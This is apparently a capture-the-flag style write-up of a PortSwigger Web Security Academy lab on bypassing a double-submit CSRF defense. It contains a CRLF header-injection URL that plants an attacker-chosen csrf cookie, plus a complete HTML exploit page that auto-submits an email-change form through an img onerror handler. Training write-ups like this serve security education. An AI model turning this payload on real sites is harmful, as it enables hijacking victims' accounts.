Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type CSRF — Double Submit Cookie Bypass
Difficulty Practitioner
Target 0aac0057044167888121112a00be00b6.web-security-academy.net
Objective Change the victim's email address by bypassing the double submit CSRF defense

CSRF Where Token Is Duplicated in Cookie — Writeup


Reconnaissance

Initial Observation

Logged in as wiener:peter. Intercepting the email change request:

POST /my-account/change-email HTTP/2
Host: 0aac0057044167888121112a00be00b6.web-security-academy.net
Cookie: session=dpgipehdbOBhEFLZpo6dWZ8OcDdpfk1d; csrf=ZFs1e7xWEIwFYuowoNqRmRqOyOwP6PSL
[email protected]&csrf=ZFs1e7xWEIwFYuowoNqRmRqOyOwP6PSL

The csrf value in the cookie and the csrf parameter in the body are identical. This is the "double submit" pattern — the server validates CSRF by checking that the cookie value matches the body value, without tying either to the session. If an attacker can control the cookie, they can set both to anything they want and the check passes trivially.

Screenshot

The site has a search bar. Searching for something and re-intercepting the email change request:

Screenshot
POST /my-account/change-email HTTP/2
Cookie: session=dpgipehdbOBhEFLZpo6dWZ8OcDdpfk1d; csrf=ZFs1e7xWEIwFYuowoNqRmRqOyOwP6PSL; LastSearchTerm=teto
[email protected]&csrf=ZFs1e7xWEIwFYuowoNqRmRqOyOwP6PSL

LastSearchTerm is being set via the search endpoint — same behavior as the previous lab. If CRLF injection works here, the attacker can overwrite the csrf cookie with an arbitrary value, then submit a form with that same value in the body and the double-submit check passes.

Testing CRLF injection on the search endpoint:

web-security-academy.net/?search=teto%0D%0ASet-Cookie: csrf=tetoandmiku
Screenshot

Intercepting a subsequent request confirms the cookie was overwritten:

POST /my-account/change-email HTTP/2
Cookie: session=Gfj8D8L9qSvY02kamREC5LkbAOuyyuGf; csrf=tetoandmiku; LastSearchTerm=teto

The csrf cookie is now attacker-controlled. Since the server only checks that cookie equals body parameter, the attacker can set both to whatever string they want.


Attack Path

Same two-step sequence as the previous lab: inject the csrf cookie via the <img> CRLF trick, then fire the form on onerror:

<form class="login-form" name="change-email-form" action="https://0aac0057044167888121112a00be00b6.web-security-academy.net/my-account/change-email" method="POST">
    <input required="" type="email" name="email" value="[email protected]">
    <input required="" type="hidden" name="csrf" value="tetoandmiku">
</form>

<img src="https://0aac0057044167888121112a00be00b6.web-security-academy.net/?search=teto%0d%0aSet-Cookie:%20csrf=tetoandmiku%3b%20SameSite=None" onerror="document.forms[0].submit();">

Page load sequence:

  1. Browser fetches the <img> URL → CRLF injection sets csrf=tetoandmiku on the victim's browser.
  2. Image load fails → onerror fires → document.forms[0].submit().
  3. POST sends csrf=tetoandmiku in the body and the same value in the cookie.
  4. Server compares cookie to body — they match — email changes.
Screenshot

Lab solved :P

Resources